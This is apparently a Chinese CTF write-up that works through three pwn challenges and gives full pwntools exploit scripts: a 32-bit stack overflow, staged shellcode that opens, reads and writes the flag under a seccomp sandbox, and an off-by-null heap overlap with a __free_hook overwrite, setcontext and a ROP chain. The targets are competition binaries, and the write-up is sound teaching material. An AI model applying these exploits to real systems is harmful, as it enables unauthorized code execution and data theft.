前言
这次比赛,我能做的应该是有三题的,可能还是太菜了,比赛时就是没出,最终只做了个签到题,还好手快抢了一血,长路漫漫,继续加油吧!
复现来源:https://blog.csdn.net/eeeeeight/article/details/120255533
BabyRop
这题签到题,很简单的栈溢出,没什么好讲的
1 2 3 4 5 6 7 8 9 10
| from pwn import* from LibcSearcher import*
p=remote('192.168.39.50',11000) context(log_level='debug',arch='i386',os='linux')
payload = 'a' * 0x2c + p32(0x80490a0) + p32(0) + p32(0x0804c029) p.sendline(payload) p.interactive()
|
nologin
image-20210913165518141
常规checksec,64位,保护基本没开,存在可执行段,这种一般就是注入shellcode去执行的
image-20210913170209042
同时,当你执行到admin功能时,会开启沙箱,禁用了execve,所以这题就变成了orw了。admin功能是必须要进的,因为这里才存在着漏洞——栈溢出
image-20210913170334228
image-20210913170528035
image-20210913170611997
buf这里可以写入30个字节的内容,所以可以覆盖到返回地址,但是具体的长度要动态去看。我这边是进入到了admin功能中,可以看见,前五个字节是用来对齐栈内容,接下来的八个字节就可以覆盖rbp内容,这边覆盖的是admin中输入函数的rbp
image-20210913171057369
image-20210913221356910
image-20210913221754144
并且呢,.bss是属于可执行段的,先覆盖返回地址去执行read函数,因为read是有三个参数的,但是我们可以观察当执行read函数时,三个参数都是已经满足了的(因为我们刚开始就借着read函数的溢出,并且寄存器并未被改变)。所以写入数据的地方是栈上一个地址,所以先构造一次shellcode(注意shellcode大小,因为长度最多为0x1d)系统调用read函数,往.bss上写第二个shellcode,这次shellcode的长度一定要够大,不然写不下。最后就是在.bss上写最终的orw,读取flag即可
image-20210913211252996
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
|
from pwn import * elf = ELF("./nologin") context.binary = elf p = process("./nologin") call_rsi = 0x000000000040186b read = elf.plt['read']
gdb.attach(p,"b *0x0000000000401007") p.sendlineafter("input>> \n",'2') p.recvuntil(">password: ") payload = 'a'*5 + p64(0x602030+0x28)+ p64(read) + p64(call_rsi) p.sendline(payload) shellcode=asm(''' xor rax, rax; push r11; pop rdx; mov rsi, 0x602100; syscall; add rsi, 28; jmp rsi; ''') print hex(len(shellcode)) p.sendline(shellcode) shellcode1=asm(''' xor rax, rax; mov rax, 2; sub rsi, 16; mov rdi, rsi; xor rsi, rsi; syscall;
mov rdi, rax; xor rax, rax; mov rsi, 0x602300; mov rdx, 0x80; syscall; mov rax, 1; mov rdi, 1; syscall; ''') print hex(len(shellcode1)) p.sendline('b'*11 + './flag\x00\x00'*3 + shellcode1) p.interactive()
|
Whats your name
image-20210923204918588
常规checksec,64位保护全开
image-20210924083229104
add里面,会先申请一块0x10大小的堆块,然后在前八字节作为函数指针存放puts地址,后八字节存放一个大小在0~0x100之间的堆块地址,最多能申请出10个堆块image-20210924083439735
image-20210924083201516
在edit里面,写入函数会堆溢出一个0,漏洞点offbynull
image-20210924083514708
show里面,调用之前存放的函数指针,打印堆块内容
image-20210924083618714
释放堆块,全部置0
image-20210924083715443
最后,程序开了沙箱,看来是要orw了
image-20210923204552633
这是什么都没做的情况,由于开启沙箱都是会这样的出现很多的堆块,里面有一块是unsorted chunk,给他申请回来,里面就已经存放着脏数据了,直接就能泄露libc。同样也能泄露出堆上地址
1 2 3 4 5 6 7 8
| add(0xe8) show(0) libc_base = u64(p.recv(6).ljust(8,'\x00')) - 3951480 log.info("libc_base==>0x%x" %libc_base) add(0x70) show(1) heap_addr = u64(p.recv(6).ljust(8,'\x00')) log.info('heap_addr==>0x%x' %heap_addr)
|
image-20210924092730279
我们要利用offbynull,肯定是要制造出堆块重叠的,那么就一定要让堆块是连续的,所以不能是上面bin链存在的大小,并且offbynull,那溢出被覆盖为0的肯定是0xf0的堆块image-20210924093026970
这是连续申请出来的四个堆块,全都连在了一起,才方便我们后续制造堆块重叠
image-20210924093202818
通过offbynull,成功将in_use位置为0
image-20210924094657672
然后释放堆块,触发合并
image-20210924195657525
image-20210924200058670
然后再把0xf0堆块申请回来,接着我们申请在bin有的堆块,因为再分配就是要重叠在之前未被释放的0x40的堆块上了,而我们要和这个堆块重叠的要选择那个程序帮我们申请的堆块,因为控制这个堆块是可以借着edit功能执行任意地址写的,或者在show功能里面获得执行权限,可谓好处多多
1 2 3 4 5 6 7 8 9 10
| add(0xf0) add(0x38) add(0xf0) add(0x30) free(2) edit(3, 'a'*0x30 + p64(0x140)) free(4) add(0xf0) add(0x60) add(0x20)
|
到现在,所有的铺垫都已经准备好了,接着先计算一下我们需要的gadget,以及rop的地址计算,以及flag地址的排布
image-20210924200749914
把flag字符串写到前面我们申请的1堆块上,可以直接用搜索功能,更快点,rop的地址要后面申请出写的堆块再回来算的
1 2 3 4 5 6 7 8 9 10 11
| setcontext = libc_base + libc.sym["setcontext"] + 53 open = libc_base + libc.sym['open'] read = libc_base + libc.sym['read'] write = libc_base + libc.sym['write'] free_hook = libc_base + libc.sym['__free_hook'] ret = 0x0000000000000937 + libc_base pop_rdi = 0x0000000000021112 + libc_base pop_rsi = 0x00000000000202f8 + libc_base pop_rdx = 0x0000000000001b92 + libc_base rop_addr = heap_addr + 0x820 flag_addr = heap_addr - 0x190
|
image-20210924202223468
image-20210924211125389
借着前面的堆块重叠,往free_hook里面写setcontext+53就行,然后就是最后的堆上布置rop链,堆块给的够大,那就直接选择最大的堆块进行布置,因为要先申请一个0x20的堆块,剩下的大小不够0x100,所以堆块的位置是在最下方的,然后在上面布置好rop,最后就是在setcontext的gadget指向的相应位置写好,跳转执行就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| edit(1, './flag\x00') edit(3, 'a'*8 + p64(free_hook)) edit(6, p64(setcontext)) add(0x100) payload = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open) payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(rop_addr + 0x500) + p64(pop_rdx) + p64(0x40) + p64(read) payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(rop_addr + 0x500) + p64(pop_rdx) + p64(0x40) + p64(write) success(hex(len(payload))) edit(7, 'a'*8 + payload) frame = SigreturnFrame() frame.rsp = rop_addr + 8 frame.rip = ret success(hex(len(frame))) edit(0, str(frame)) free(0)
|
image-20210924220626687
成功读取flag!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
|
from pwn import * context(arch = 'amd64',os = 'linux') elf = ELF("./name") libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so") p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
def debug(): gdb.attach(p,"b main")
def add(size): p.sendlineafter("5.exit\n",'1') p.recvuntil("name size:\n") p.sendline(str(size)) def edit(idx,content): p.sendlineafter("5.exit\n",'2') p.recvuntil("index:\n") p.sendline(str(idx)) p.recvuntil("name:\n") p.send(content)
def show(idx): p.sendlineafter("5.exit\n",'3') p.recvuntil("index:\n") p.sendline(str(idx))
def free(idx): p.sendlineafter("5.exit\n",'4') p.recvuntil("index:\n") p.sendline(str(idx))
add(0xe8) show(0) libc_base = u64(p.recv(6).ljust(8,'\x00')) - 3951480 log.info("libc_base==>0x%x" %libc_base) add(0x70) show(1) heap_addr = u64(p.recv(6).ljust(8,'\x00')) log.info('heap_addr==>0x%x' %heap_addr)
add(0xf0) add(0x38) add(0xf0) add(0x30) free(2) edit(3, 'a'*0x30 + p64(0x140)) free(4) add(0xf0) add(0x60) add(0x20)
setcontext = libc_base + libc.sym["setcontext"] + 53 open = libc_base + libc.sym['open'] read = libc_base + libc.sym['read'] write = libc_base + libc.sym['write'] free_hook = libc_base + libc.sym['__free_hook'] ret = 0x0000000000000937 + libc_base pop_rdi = 0x0000000000021112 + libc_base pop_rsi = 0x00000000000202f8 + libc_base pop_rdx = 0x0000000000001b92 + libc_base rop_addr = heap_addr + 0x820 flag_addr = heap_addr - 0x190
edit(1, './flag\x00') edit(3, 'a'*8 + p64(free_hook)) edit(6, p64(setcontext)) add(0x100) payload = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open) payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(rop_addr + 0x500) + p64(pop_rdx) + p64(0x40) + p64(read) payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(rop_addr + 0x500) + p64(pop_rdx) + p64(0x40) + p64(write) success(hex(len(payload))) edit(7, 'a'*8 + payload) frame = SigreturnFrame() frame.rsp = rop_addr + 8 frame.rip = ret success(hex(len(frame))) edit(0, str(frame)) free(0) p.interactive()
|